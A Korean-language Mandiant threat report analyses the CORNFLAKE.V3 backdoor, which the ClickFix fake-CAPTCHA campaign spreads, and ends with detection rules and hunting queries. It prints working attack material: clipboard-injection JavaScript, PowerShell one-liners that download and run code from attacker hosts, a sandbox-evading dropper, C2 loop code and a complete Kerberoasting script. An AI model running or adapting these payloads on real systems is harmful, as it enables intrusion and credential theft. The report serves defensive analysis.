시리얼 킬러: CORNFLAKE.V3 백도어 분석
Mandiant
Frontline Bulletin 시리즈에 오신 것을 환영합니다.
맨디언트 위협 방어팀이 직접 전해드리는 'Frontline Bulletin' 시리즈는 지금 이 순간 전 세계에서 가장 흥미로운 침해 사례에 대한 최신 정보를 제공하여, 우리가 관찰하는 가장 중대한 위협을 커뮤니티가 이해하고 대응할 수 있도록 돕습니다. 이번 보고서에서는 두 위협 그룹인 UNC5518과 UNC5774가 협력하여 CORNFLAKE.V3를 배포한 감염 사례를 상세히 분석합니다.
소개
2024년 6월부터 맨디언트 위협 방어팀은 금전적 동기를 가진 위협 그룹인 UNC5518의 활동을 추적해 왔습니다. 이 그룹은 합법적인 웹사이트를 해킹하여 가짜 CAPTCHA 인증 페이지를 띄웁니다. ClickFix
라고 알려진 이 기만적인 기법은 웹사이트 방문자를 유인하여 다운로더 스크립트를 실행하게 함으로써 악성코드 감염 사슬을 시작하게 합니다. UNC5518은 이들이 확보한 접근 권한을 추가 악성코드 배포에 사용하는 고객 또는 제휴 파트너들과 협력하는 것으로 보입니다.
초기 침투와 가짜 CAPTCHA 배포는 UNC5518이 주도하지만, 전달되는 페이로드(payload)는 다른 위협 그룹의 것입니다. UNC5518은 '서비스형 접근(access-as-a-service)' 역할을 하는 다운로더 스크립트를 사용합니다. 다음을 포함하여 여러 위협 행위자들이 UNC5518이 제공하는 접근 권한을 활용하는 것이 관찰되었습니다.
-
UNC5774: 다양한 후속 페이로드를 배포하기 위해 CORNFLAKE 백도어를 사용하는 것으로 알려진 금전적 동기의 그룹입니다.
-
UNC4108: 동기는 알려지지 않았지만, 파워셸(PowerShell)을 이용해 VOLTMARKER 및 NetSupport RAT와 같은 다양한 도구를 배포하고 정찰 활동을 수행하는 것이 관찰된 위협 그룹입니다.
이 블로그 게시물은 UNC5518이 CORNFLAKE.V3 악성코드를 전달하는 다운로더를 배포한 캠페인을 맨디언트가 확인한 내용을 상세히 다룹니다. 맨디언트는 CORNFLAKE.V3 샘플이 UNC5774의 소행이라고 판단했습니다. UNC5774는 UNC5518의 '서비스형 접근'을 표적 환경으로 진입하는 진입 벡터로 활용하는 별개의 금전적 동기 그룹입니다.
CORNFLAKE 패밀리
CORNFLAKE.V3는 HTTP를 통해 페이로드를 받아오는 백도어입니다. 자바스크립트 또는 PHP(PHP 변종)로 작성된 두 가지 변종이 관찰되었습니다. 지원되는 페이로드 유형에는 셸 명령어, 실행 파일, 그리고 동적 연결 라이브러리(DLL)가 포함됩니다. 다운로드된 페이로드는 디스크에 기록되어 실행됩니다. CORNFLAKE.V3는 기본적인 시스템 정보를 수집하여 HTTP를 통해 원격 서버로 전송합니다. CORNFLAKE.V3는 또한 클라우드플레어 터널(Cloudflare Tunnels)을 악용해 원격 서버로 트래픽을 프록시하는 것도 관찰되었습니다.
CORNFLAKE.V3는 CORNFLAKE.V2의 업데이트된 버전으로, 코드베이스의 상당 부분을 공유합니다. 단순히 다운로더 기능만 했던 V2와 달리, V3는 레지스트리 Run 키를 통해 호스트에 영구적으로 상주하며 추가적인 페이로드 유형을 지원합니다.
초기 CORNFLAKE 악성코드는 C언어로 작성되어 이후 버전과 상당히 달랐습니다. 이 첫 번째 변종은 다운로더 역할만 수행하며, 기본적인 시스템 정보를 수집하고 TCP를 통해 원격 서버로 전송했습니다. 이후 페이로드를 다운로드하고 실행했습니다.


그림 1: 관찰된 CORNFLAKE.V3 (Node.js) 공격 라이프사이클
초기 단서
Mandiant Threat Defense는 호스트에서 발견된 의심스러운 PowerShell 활동에 대응하여 CORNFLAKE.V3 백도어가 배포된 사실을 확인했습니다.
Mandiant는 PowerShell 스크립트가 Windows+R
단축키를 사용한 '실행(Run)' 명령을 통해 실행된 것을 관찰했습니다. 이 활동의 증거는 다음 페이로드를 다운로드하고 실행하는 HKEY_USERS\User\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
레지스트리 키에서 발견되었습니다.
Name: a
Value: powershell -w h -c
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1
RunMRU
레지스트리 키는 Windows Run
(단축키 Windows+R
) 대화 상자에 입력된 명령어 기록을 저장합니다.
Windows+R
단축키를 사용한 악성 스크립트 실행은 ClickFix 유인 페이지에 당한 피해자들에게서 흔히 나타납니다. 일반적으로 사용자들은 무해한 탐색 과정에서 SEO 중독(Poisoning)이나 악성 광고를 이용하는 검색 결과와 상호 작용하면서 이러한 페이지에 접속하게 됩니다.


그림 2: 공격자가 제어하는 웹페이지의 가짜 CAPTCHA 인증(ClickFix)
그림 2에서 볼 수 있듯이, 사용자가 이미지를 클릭했을 때 악성 웹페이지가 자동으로 클립보드에 숨겨진 스크립트를 복사하여 Windows 실행(Run) 대화 상자에 붙여넣도록 유도했습니다. 이 웹페이지는 다음과 같은 JavaScript 코드를 사용하여 이 작업을 수행했습니다.
// An image with the reCAPTCHA logo is displayed on the webpage
<div class="c" id="j">
<img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png"
alt="reCAPTCHA Logo">
<span>I'm not a robot</span>
</div>
// The malicious script is saved in variable _0xC
var _0xC = "powershell -w h -c
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"\1";
// When the image is clicked, the script is copied to the clipboard
document.getElementById("j").onclick = function(){
var ta = document.createElement("textarea");
ta.value = _0xC;
document.body.appendChild(ta);
ta.select();
document.execCommand("copy");
클립보드에 복사된 PowerShell 명령어는 원격 서버 138.199.161[.]141:8080/$u
에서 스크립트를 다운로드하고 실행하도록 설계되었습니다. 여기서 $u
는 다운로드 시점의 UNIX epoch 타임스탬프를 나타냅니다.
결과적으로, PowerShell 프로세스는 다음 HTTP GET 요청에 표시된 바와 같이 1742214432
(UNIX epoch 타임스탬프) URL 경로를 통해 앞서 언급된 IP 주소와 포트에 연결합니다.
GET /1742214432 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US)
WindowsPowerShell/5.1.19041.5486
Host: 138.199.161[.\]141:8080
Connection: Keep-Alive
다음은 CORNFLAKE.V3 침해 사고 조사 중, 공격자가 제어하는 서버에서 복구된 PowerShell 드로퍼 스크립트로 1742214432
와 유사합니다.
# Get computer manufacturer for evasion check.
$Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object
-ExpandProperty Manufacturer
# Exit if running in QEMU (VM detection).
if ($Manufacturer -eq "QEMU") {
exit 0;
}
# Get memory info for evasion check.
$TotalMemoryGb =
(Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB
$AvailableMemoryGb =
(Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB
$UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb
# Exit if total memory is low or calculated "used" memory is low
(possible sandbox detection).
if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) {
exit 0
}
# Exit if computer name matches default pattern
(possible sandbox detection).
if ($env:COMPUTERNAME -match "DESKTOP-S*") {
exit 0
}
# Pause execution briefly.
sleep 1
# Define download URL (defanged).
$ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip"
# Define destination folder (AppData).
$DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "")
# Define temporary file path for download.
$ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip")
# Download the Node.js zip file.
iwr -Uri $ZipURL -OutFile $ZipFile
# Try block for file extraction using COM objects.
try {
$Shell = New-Object -ComObject Shell.Application
$ZIP = $Shell.NameSpace($ZipFile)
$Destination = $Shell.NameSpace($DestinationFolder)
# Copy/extract contents silently.
$Destination.CopyHere($ZIP.Items(), 20)
}
# Exit on any extraction error.
catch {
exit 0
}
# Update destination path to the extracted Node.js folder.
$DestinationFolder = [System.IO.Path]::Combine($DestinationFolder,
"node-v22.11.0-win-x64")
# Base64 encoded payload (large blob containing the CORNFLAKE.V3 sample).
$BASE64STRING =<Base-64 encoded CORNFLAKE.V3 sample>
# Decode the Base64 string.
$BINARYDATA = [Convert]::FromBase64String($BASE64STRING)
# Convert decoded bytes to a string (the payload code).
$StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA)
# Path to the extracted node.exe.
$Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe")
# Start node.exe to execute the decoded string data as JavaScript, hidden.
start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`""
-WindowStyle Hidden
PowerShell 드로퍼의 실행에는 여러 단계가 포함됩니다.
-
가상 머신 내에서 실행 중인지 확인하고, 만약 그렇다면 종료합니다.
- URL
hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip
에서 HTTPS를 통해 Node.js를 다운로드하고, 파일을%TEMP%\downloaded.zip
에 저장한 후, 그 압축을%APPDATA%\node-v22.11.0-win-x64
디렉터리에 풉니다. -
포함된 CORNFLAKE.V3 페이로드를 Base64 디코딩하고
%APPDATA%\node-v22.11.0-win-x64\node.exe -e “<base64_decoded_CORNFLAKE.v3>”
명령을 통해 실행합니다. - 포함된 CORNFLAKE.V3 페이로드를 Base64 디코딩하고,
%APPDATA%\node-v22.11.0-win-x64\node.exe -e "<base64_decoded_CORNFLAKE.v3>"
명령을 통해 실행합니다.
PowerShell 드로퍼의 안티-VM(가상 머신 회피) 검사에는 낮은 시스템 리소스(총 메모리 4GB 미만 또는 사용 메모리 1.5GB 미만) 확인과, 대상 시스템의 컴퓨터 이름이 정규 표현식 DESKTOP-S*
와 일치하는지 또는 대상 시스템 제조업체가 QEMU
인지 확인하는 과정이 포함됩니다.
드로퍼가 실행된 결과, nodejs[.]org
도메인에 대한 DNS 쿼리가 발생한 후, downloaded.zip
이라는 아카이브(SHA256: 905373a059aecaf7f48c1ce10ffbd5334457ca00f678747f19db5ea7d256c236
)가 다운로드되었습니다. 이 아카이브에는 실행 파일 node.exe
를 포함한 Node.js 런타임 환경이 들어 있으며, 이는 %APPDATA%\node-v22.11.0-win-x64\
에 압축 해제되었습니다. Node.js 환경은 웹 브라우저 밖에서 JavaScript 코드를 실행할 수 있게 해줍니다.
압축 해제된 %APPDATA%\node-v22.11.0-win-x64\node.exe
바이너리는 PowerShell에 의해 -e
인자와 함께 실행되었고, 그 뒤에 CORNFLAKE.V3 백도어 샘플인 큰 Node.js 스크립트가 따라왔습니다.
Mandiant는 CORNFLAKE.V3 샘플에서 다음과 같은 활동이 시작된 것을 확인했습니다.
-
호스트 및 AD(Active Directory) 기반 정찰
-
레지스트리
Run
키를 통한 지속성 확보 -
Kerberoasting을 통한 자격 증명 탈취 시도
조사 중에 관찰된 프로세스 트리는 다음과 같습니다.
explorer.exe
↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe
-w h -c
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"
↳ c:\users\<user>\appdata\roaming\node-v22.11.0-win-x64\node.exe
-e "{CORNFLAKE.V3}"
↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe
-c "{Initial check and System Information Collection}"
↳ C:\Windows\System32\ARP.EXE -a
↳ C:\Windows\System32\chcp.com 65001
↳ C:\Windows\System32\systeminfo.exe
↳ C:\Windows\System32\tasklist.exe /svc
↳ c:\windows\system32\cmd.exe /d /s /c "wmic process where
processid=16004 get commandline"
↳ C:\Windows\System32\cmd.exe /d /s /c "{Kerberoasting}"
↳ c:\windows\system32\cmd.exe /d /s /c
"{Active Directory Reconnaissance}"
↳ c:\windows\system32\cmd.exe /d /s /c "reg add
{ChromeUpdater as Persistence}"
CORNFLAKE.V3 분석
우리의 조사 과정에서 복구된 CORNFLAKE.V3 샘플은 완전히 난독화되지 않아 정적 분석을 통해 그 기능을 파악할 수 있었습니다. 이 섹션에서는 멀웨어의 주요 기능에 대해 설명합니다.
초기 점검 및 시스템 정보 수집
if (process.argv[1] !== undefined && process.argv[2] === undefined) {
const child = spawn(process.argv[0], [process.argv[1], '1'], {
detached: true,
stdio: 'ignore',
windowsHide: true,
});
child.unref();
process.exit(0);
}
스크립트가 처음 실행될 때, node.exe
프로세스의 명령줄 인수를 확인합니다. 이 바이너리는 원래 단일 인자(스크립트 자체)로 생성되므로, 이 검사를 통해 스크립트는 인자로 1
이 추가된 자식 프로세스를 생성한 후 원래의 node.exe
는 종료됩니다. 자식 프로세스가 실행되면 인자가 세 개가 되므로 이 초기 검사를 통과하고 스크립트의 나머지 부분을 실행합니다.
이 검사를 통해 멀웨어는 지속성 메커니즘으로 인해 여러 번 실행되더라도 스크립트의 인스턴스가 한 번에 하나만 실행되도록 보장합니다.
이후 멀웨어는 다음 코드를 사용하여 시스템 정보를 수집하려고 시도합니다.
let cmd = execSync('chcp 65001 > $null 2>&1 ; echo \'version: '
+ ver + '\' ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name
-match '(?i)SYSTEM') { \'Runas: System\' } elseif
(([Security.Principal.WindowsPrincipal]
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole
([Security.Principal.WindowsBuiltInRole]::Administrator))
{ \'Runas: Admin\' } else { \'Runas: User\' } ; systeminfo ; echo
\'=-=-=-=-=-\' ; tasklist /svc ; echo \'=-=-=-=-=-\' ; Get-Service |
Select-Object -Property Name, DisplayName | Format-List ;
echo \'=-=-=-=-=-\' ; Get-PSDrive -PSProvider FileSystem | Format-Table
-AutoSize ; echo \'=-=-=-=-=-\' ; arp -a', { encoding: 'utf-8', shell:
'powershell.exe', windowsHide: true });
commandRet = Buffer.from(cmd, 'utf-8');
sysinfo = Buffer.concat([numberBufferInit, numberBufferId, commandRet]);
이 코드 블록은 execSync
를 사용하여 일련의 PowerShell 명령어(PowerShell 실패 시에는 대체 CMD 명령어)를 실행합니다. 이 명령어는 스크립트 버전, 사용자 권한 수준(System, Admin, User), 표준 systeminfo
출력, 실행 중인 작업/서비스(tasklist /svc
), 서비스 세부 정보(Get-Service
), 사용 가능한 드라이브(Get-PSDrive
), 그리고 ARP 테이블(arp -a
)을 수집합니다.
C2 초기화
몇 가지 논리적 상수와 C2(Command and Control) 서버 IP 주소를 설정한 후, 멀웨어는 mainloop
함수로 진입합니다. 이 스크립트는 hosts
와 hostsIP
라는 두 개의 별도 목록을 지원하며, 이 두 목록 모두 C2 통신 로직에 사용됩니다. 처음에는 mainloop
함수가 hosts
목록의 무작위 호스트에 연결을 시도하지만, 실패할 경우 대신 hostsIP
목록의 무작위 IP 주소에 연결을 시도합니다. 연결이 성공적으로 수립되면 main
함수가 호출됩니다.
// Define lists of hostnames and IP addresses for the command
and control server.
const hosts = ['159.69.3[.]151'];
const hostsIp = ['159.69.3[.]151'];
// Variables to manage the connection and retry logic.
let useIp = 0;
let delay = 1;
// Main loop to continuously communicate with the command
and control server.
async function mainloop() {
let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length];
let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length];
while (true) {
// Wait for the specified delay.
await new Promise((resolve) => setTimeout(resolve, delay));
try {
// Attempt to communicate with the command and control server.
if (useIp < 200) {
await main(toHost, PORT_IP);
useIp = 0;
} else {
await main(toIp, PORT_IP);
useIp++;
if (useIp >= 210) useIp = 0;
}
} catch (error) {
// Handle errors during communication.
console.error('Error with HTTP request:', error.message);
toHost = hosts[Math.floor(Math.random() * 1000) %
hosts.length];
toIp = hostsIp[Math.floor(Math.random() * 1000) %
hostsIp.length];
useIp++;
delay = 1000 * 10;
continue;
}
// Set the delay for the next attempt.
delay = 1000 * 60 * 5;
}
}
C2 통신
main
이라고 명명된 이 함수는 주요 C2(Command and Control) 통신 로직을 처리합니다. 이 함수는 호스트 및 포트 번호를 인수로 받아 C2 서버로 전송할 데이터를 구성합니다. 멀웨어는 감염된 시스템 정보와 마지막으로 실행된 명령어의 출력 내용을 담아 /init1234
경로로 초기 POST
요청을 보냅니다. 이 요청의 내용은 enc
함수를 통해 XOR 암호화됩니다.
C2 서버는 이 요청에 대해 다음과 같은 두 가지 응답 중 하나를 반환할 수 있습니다.
-
ooff
- 프로세스가 종료됩니다. -
atst
- 호스트에 지속성을 확보하는atst
함수가 호출됩니다.
만약 응답이 위 두 값과 일치하지 않으면, 멀웨어는 해당 응답을 페이로드로 간주하고, XOR 복호화한 후 응답의 마지막 바이트를 파싱합니다. 프로그램이 허용하는 값은 다음과 같습니다.
지속성
main
함수에 의해 호출되는 atst
함수는 HKCU\Software\Microsoft\Windows\CurrentVersion\Run
아래에 ChromeUpdater라는 이름의 새 레지스트리 실행 키를 생성하여 호스트에 지속성을 확보하려고 시도합니다.
멀웨어는 wmic.exe
를 사용하여 현재 실행 중인 node.exe
프로세스의 명령줄 인자를 가져옵니다. 만약 node.exe
가 멀웨어가 초기에 실행하는 방식과 같이 -e
인자로 시작되었다면, 스크립트는 -e
다음의 인자, 즉 전체 악성 스크립트를 추출합니다. 이 스크립트는 Node.js 설치 디렉터리의 <무작위_8자>.log
파일에 기록되고 그 경로는 path2file
변수에 저장됩니다.
만약 node.exe
가 (지속성 단계에서처럼) 파일 경로를 인자로 실행되었다면, 해당 파일 경로는 추출되어 path2file
변수에 저장됩니다.
이 path2file
변수는 새로 생성된 ChromeUpdater 레지스트리 키에 node.exe
의 인자로 설정됩니다. 이를 통해 멀웨어는 사용자 로그인 시 자동으로 실행될 수 있습니다.
실행된 페이로드
main
함수에서 관찰된 바와 같이, 이 샘플은 C2 서버로부터 다양한 유형의 페이로드를 수신하고 실행할 수 있습니다. 이 섹션에서는 조사 중에 관찰된 두 가지 페이로드에 대해 설명합니다.
Active Directory 정찰
호스트에서 처음 관찰된 페이로드는 정찰 명령어를 포함하는 배치 스크립트였습니다. 이 스크립트는 먼저 호스트가 도메인에 가입되어 있는지 확인하며, 이 조건에 따라 어떤 유형의 정찰을 수행할지 결정합니다.
Domain 가입 시
- Active Directory 컴퓨터 수 조회: Active Directory에 연결하여 도메인에 등록된 전체 컴퓨터 객체 수를 계산합니다.
- 사용자 컨텍스트 상세 정보 표시:
whoami /all
을 실행하여 현재 사용자의 SID(보안 식별자), 도메인 및 로컬 그룹 멤버십, 할당된 보안 권한을 표시합니다. - 도메인 신롸 열거:
nltest /domain_trusts
를 실행하여 현재 컴퓨터의 도메인이 신뢰 관계를 맺고 있는 모든 도메인(인바운드 및 아웃바운드)을 나열합니다. - Domain Controllers 목록:
nltest /dclist :
를 실행하여 컴퓨터의 현재 도메인에서 사용 가능한 도메인 컨트롤러(DC)를 찾아 나열합니다. - Service Principal Names (SPNs) 조회:
setspn -T <UserDomain> -Q */*
를 실행하여 사용자의 로그온 도메인에 등록된 모든 SPN을 질의한 다음, 결과를 필터링하여 잠재적으로 사용자 계정과 관련된 SPN(CN=...Users
로 시작하는 라인)을 특별히 강조합니다.
도메인 미가입 시
- 로컬 그룹 열거:
Get-LocalGroup
을 사용하여 머신에 로컬로 정의된 모든 보안 그룹을 나열합니다. - 로컬 그룹 멤버 열거: 발견된 각 로컬 그룹에 대해
Get-LocalGroupMember
를 사용하여 해당 그룹의 멤버인 계정(사용자 또는 다른 그룹)을 나열하고, 이들의 이름과PrincipalSource
(예: Local, MicrosoftAccount)를 표시합니다.
Kerberoasting
두 번째로 실행된 스크립트는 Kerberoasting을 통해 자격 증명을 탈취하려는 배치 스크립트입니다. 이 스크립트는 Active Directory에서 SPN이 구성된 사용자 계정(종종 사용자 자격 증명을 사용하는 서비스 계정을 나타냄)을 질의합니다. 발견된 각 계정에 대해 Kerberos 서비스 티켓을 요청하고, 티켓에서 추출된 암호 해시를 특정 형식으로 만듭니다. 이 해시는 C2 서버로 유출되며, 공격자는 이를 사용하여 비밀번호를 크랙하려고 시도할 수 있습니다.
$a = 'System.IdentityModel';
$b = [Reflection.Assembly]::LoadWithPartialName($a);
$c = New - Object DirectoryServices.DirectorySearcher([ADSI]'');
$c.filter = '(&(servicePrincipalName=*)(objectCategory=user))';
$d = $c.Findall();
foreach($e in $d) {
$f = $e.GetDirectoryEntry();
$g = $f.samAccountName;
if ($g - ne 'krbtgt') {
Start - Sleep - Seconds (Get - Random - Minimum 1
- Maximum 11);
foreach($h in $f.servicePrincipalName) {
$i = $null;
try {
$i = New -
Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken
- ArgumentList $h;
} catch {}
if ($i - ne $null) {
$j = $i.GetRequest();
if ($j) {
$k = [System.BitConverter]::ToString($j) - replace'-';
[System.Collections.ArrayList]$l =
($k - replace'^(.*?)04820...(.*)', '$2') - Split'A48201';
$l.RemoveAt($l.Count - 1);
$m = $l - join'A48201';
try {
$m = $m.Insert(32, '$');
$n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m;
Write - Host $n;
break;
} catch {}}}}}}
PHP 변형
Mandiant Threat Defense는 최근 기존 Node.js 기반 버전과 유사한 기능을 가진 새로운 PHP 기반 CORNFLAKE.V3 변형을 발견했습니다.
이 버전은 악성 ClickFix 유인 페이지와의 상호 작용으로 인해 메모리 내 스크립트가 실행되면서 드롭되었습니다.
스크립트는 windows.php[.]net
에서 PHP 패키지를 다운로드하여 php.zip
으로 디스크에 저장하고, 압축을 풀어 C:\Users\<User>\AppData\Roaming\php\
디렉터리에 내용을 추출합니다. CORNFLAKE.V3 PHP 샘플은 동일한 디렉터리에 드롭된 config.cfg
파일에 포함되어 있으며, 다음 명령줄 인자로 실행되었습니다.
"C:\\Users\<User>\AppData\Roaming\php\php.exe" -d extension=zip -d
extension_dir=ext C:\Users\<User>\AppData\Roaming\php\config.cfg 1
이 변형은 호스트에 지속성을 유지하기 위해 Node.js 버전에서 사용된 고정된 ChromeUpdater 문자열 대신, %APPDATA%
또는 %LOCALAPPDATA%
내에서 무작위로 선택된 디렉터리의 이름을 딴 레지스트리 실행 키를 활용합니다. C2 서버와 통신하기 위해 정적인 /init1234
경로와 달리, 각 요청마다 고유한 경로를 생성합니다.
POST /ue/2&290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1
Host: varying-rentals-calgary-predict.trycloudflare[.]com
Connection: close
Content-Length: 39185
Content-type: application/octet-stream
Node.js 버전과 마찬가지로, 수신된 페이로드의 마지막 바이트가 페이로드 유형을 결정하지만, PHP 버전에서는 그 값이 다릅니다.
Javascript 페이로드 실행 기능은 JS 명령어 내에 Node.js 런타임 환경을 다운로드하는 기능을 구현함으로써 유지되었습니다. 다른 주목할 만한 변경 사항으로는 탐지를 회피하기 위해 DLL 및 JS 페이로드 파일 확장자를 .png
및 .jpg
로 변경한 점과 ACTIVE
및 AUTORUN
명령어를 추가한 점이 있습니다. 하지만 Node.js에서 PHP로 전환되었음에도 불구하고 백도어의 주요 기능은 변하지 않았습니다.
이러한 변경 사항들은 위협 행위자가 진화하는 보안 조치에 맞서 멀웨어를 계속해서 개선하려는 노력을 보여줍니다.
실행된 페이로드
Active Directory 정찰
Node.js 변형에서 발견된 것과 유사한 cmd.exe
정찰 페이로드가 C2 서버로부터 수신되어 실행되었습니다. 이 스크립트는 해당 머신이 Active Directory 도메인의 일부인지 확인하고, PowerShell을 사용하여 다음 정보를 수집합니다.
Domain 가입 시
-
AD 내 전체 컴퓨터 계정 수
-
도메인 신뢰 관계
-
모든 도메인 컨트롤러 목록
-
Domain Admins
그룹 멤버 -
서비스 주체 이름(SPN)이 구성된 사용자 계정
-
모든 로컬 그룹 및 그 멤버
-
현재 사용자 이름, SID, 로컬 그룹 멤버십 및 보안 권한
도메인 미가입 시
-
모든 로컬 그룹 및 그 멤버
-
현재 사용자 이름, SID, 로컬 그룹 멤버십 및 보안 권한
WINDYTWIST.SEA 백도어
C2 서버와의 상호 작용 후, DLL 페이로드(명령어 1에 해당)가 수신되어 C:\Users\<User>\AppData\Roaming\Shift194340\78G0ZrQi.png
로 디스크에 저장된 후 rundll32
를 사용하여 실행되었습니다. 이 파일은 다음 C2 서버로 구성된 WINDYTWIST.SEA 백도어 임플란트였습니다.
tcp://167.235.235[.]151:443
tcp://128.140.120[.]188:443
tcp://177.136.225[.]135:443
이 임플란트는 TCP 트래픽 릴레이, 리버스 셸 제공, 명령어 실행, 그리고 자체 삭제를 지원하는 자바 기반의 WINDYTWIST 백도어의 C 버전입니다. 이전 침해 사례에서 Mandiant는 WINDYTWIST.SEA 샘플이 감염된 머신 네트워크에서 측면 이동(lateral movement)을 시도하는 것을 관찰했습니다.
감염 중에 관찰된 프로세스 트리는 다음과 같습니다.
explorer.exe
↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
"-c irm dnsmicrosoftds-data[.]com/log/out | clip; &
([scriptblock]::Create((Get-Clipboard) -join
(""+[System.Environment]::NewLine)))"
↳ C:\WINDOWS\system32\clip.exe
↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
"-w H -c irm windows-msg-as[.]live/qwV1jxQ"
↳ C:\WINDOWS\system32\systeminfo.exe
↳ C:\Users\<user>\AppData\Roaming\php\php.exe "-d extension=zip
-d extension_dir=ext C:\Users\<user>\AppData\Roaming\php\config.cfg
1 {CORNFLAKE.V3}"
↳ cmd.exe /s /c "powershell -c
{Multiple PS Commands for Host Reconnaissance}"
↳ cmd.exe /s /c "powershell -c
{Multiple PS Commands for Host Reconnaissance}"
↳ cmd.exe /s /c "reg add
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
/v "random_appdata_dirname" /t REG_SZ /d "\"<php_binary_path>"
\"<script_path>"" /f"
↳ powershell.exe
↳ C:\Windows\System32\rundll32.exe
"{WINDYTWIST.SEA Backdoor}" start
결론
이번 조사는 현대 사이버 위협의 협업적 특성을 잘 보여줍니다. UNC5518은 해킹된 웹사이트와 기만적인 ClickFix 미끼를 활용하여 초기 접근 권한을 획득합니다. 그러면 UNC5774와 같은 다른 공격자들이 이 접근 권한을 사용하여 CORNFLAKE.V3 백도어와 같은 다재다능한 악성코드를 배포합니다. 이어서 관찰된 정찰 및 자격 증명 탈취 활동은 공격자들이 측면 이동(lateral movement)을 통해 환경 내에서 발판을 확장하려는 의도를 가지고 있음을 시사합니다.
ClickFix를 통한 악성코드 실행을 완화하려면, 가능한 경우 Windows 실행 대화 상자를 비활성화해야 합니다. 또한, 이러한 사회 공학적 전술과 다른 전술에 대응하기 위해서는 정기적인 시뮬레이션 훈련이 매우 중요합니다. 더 나아가, CORNFLAKE.V3와 관련된 페이로드 실행을 탐지하기 위해서는 견고한 로깅 및 모니터링 시스템이 필수적입니다.
감사의 글
이 블로그 게시물에 작성에 기여를 해주신 Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis 및 Rommel Joven에게 특별히 감사드립니다.
Google Security Operations를 통한 탐지
다음 쿼리를 사용하여 이러한 활동을 추적하는 방법에 대한 자세한 지침과 당사의 보안 전문가들과 소통할 수 있는 포럼은 Google Cloud Community 블로그에서 관련 게시물을 방문하여 확인하시기 바랍니다.
Mandiant는 관련 규칙을 Google SecOps Mandiant Frontline Threats 엄선된 탐지 규칙 세트에 추가했습니다. 이 블로그 게시물에서 논의된 활동은 Google SecOps에서 다음 규칙 이름으로 탐지됩니다.
-
Powershell Executing NodeJS
-
Powershell Writing To Appdata
-
Suspicious Clipboard Interaction
-
NodeJS Reverse Shell Execution
-
Download to the Windows Public User Directory via PowerShell
-
Run Utility Spawning Suspicious Process
-
WSH Startup Folder LNK Creation
-
Trycloudflare Tunnel Network Connections
SecOps 헌팅 쿼리
다음 UDM 쿼리를 사용하여 환경 내 잠재적 침해를 식별할 수 있습니다.
CORNFLAKE.V3 실행 — Node.js
PowerShell이 %AppData%
경로에서 -e
인자와 함께 node.exe
를 실행하는 잠재적 침해 활동을 검색합니다. 이는 악성 JavaScript 문자열의 직접적인 실행을 나타냅니다.
metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /powershell\.exe/ nocase
target.process.file.full_path = /appdata\\roaming\\.*node\.exe/ nocase
target.process.command_line = /"?node\.exe"?\s*-e\s*"/ nocase
CORNFLAKE.V3 실행 — PHP
사용자 환경에서 PowerShell이 %AppData%
경로에 있는 php.exe
를 -d
인자 및 추가로 1
을 전달하며 실행하는 경우 잠재적인 침해 활동으로 간주될 수 있습니다. 이러한 활동은 악성 PHP 코드를 파일 확장자 없이 은밀하게 실행하는 특징을 보입니다.
metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /powershell\.exe/ nocase
target.process.file.full_path = /appdata\\roaming\\.*php\.exe/ nocase
target.process.command_line = /"?php\.exe"?\s*-d\s.*1$/ nocase
target.process.command_line != /\.php\s*\s*/ nocase
CORNFLAKE.V3 자식(child) 프로세스 실행
cmd.exe
또는 powershell.exe
가 %AppData%
경로에 있는 node.exe
또는 php.exe
의 자식(child) 프로세스로 실행되는 의심스러운 프로세스 활동을 검색합니다.
metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path =
/appdata\\roaming\\.*node\.exe|appdata\\roaming\\.*php\.exe/ nocase
target.process.file.full_path = /powershell\.exe|cmd\.exe/ nocase
의심스러운 Node.js/PHP 도메인 네트워크 연결
powershell.exe
또는 mshta.exe
에 의해 시작된 Node.js(nodejs.org) 또는 PHP(windows.php.net)와 같은 정상적인 인프라 도메인으로의 비정상적인 네트워크 연결을 검색합니다.
metadata.event_type = "NETWORK_CONNECTION"
principal.process.file.full_path = /powershell\.exe|mshta\.exe/ nocase
target.hostname = /nodejs\.org|windows\.php\.net/ nocase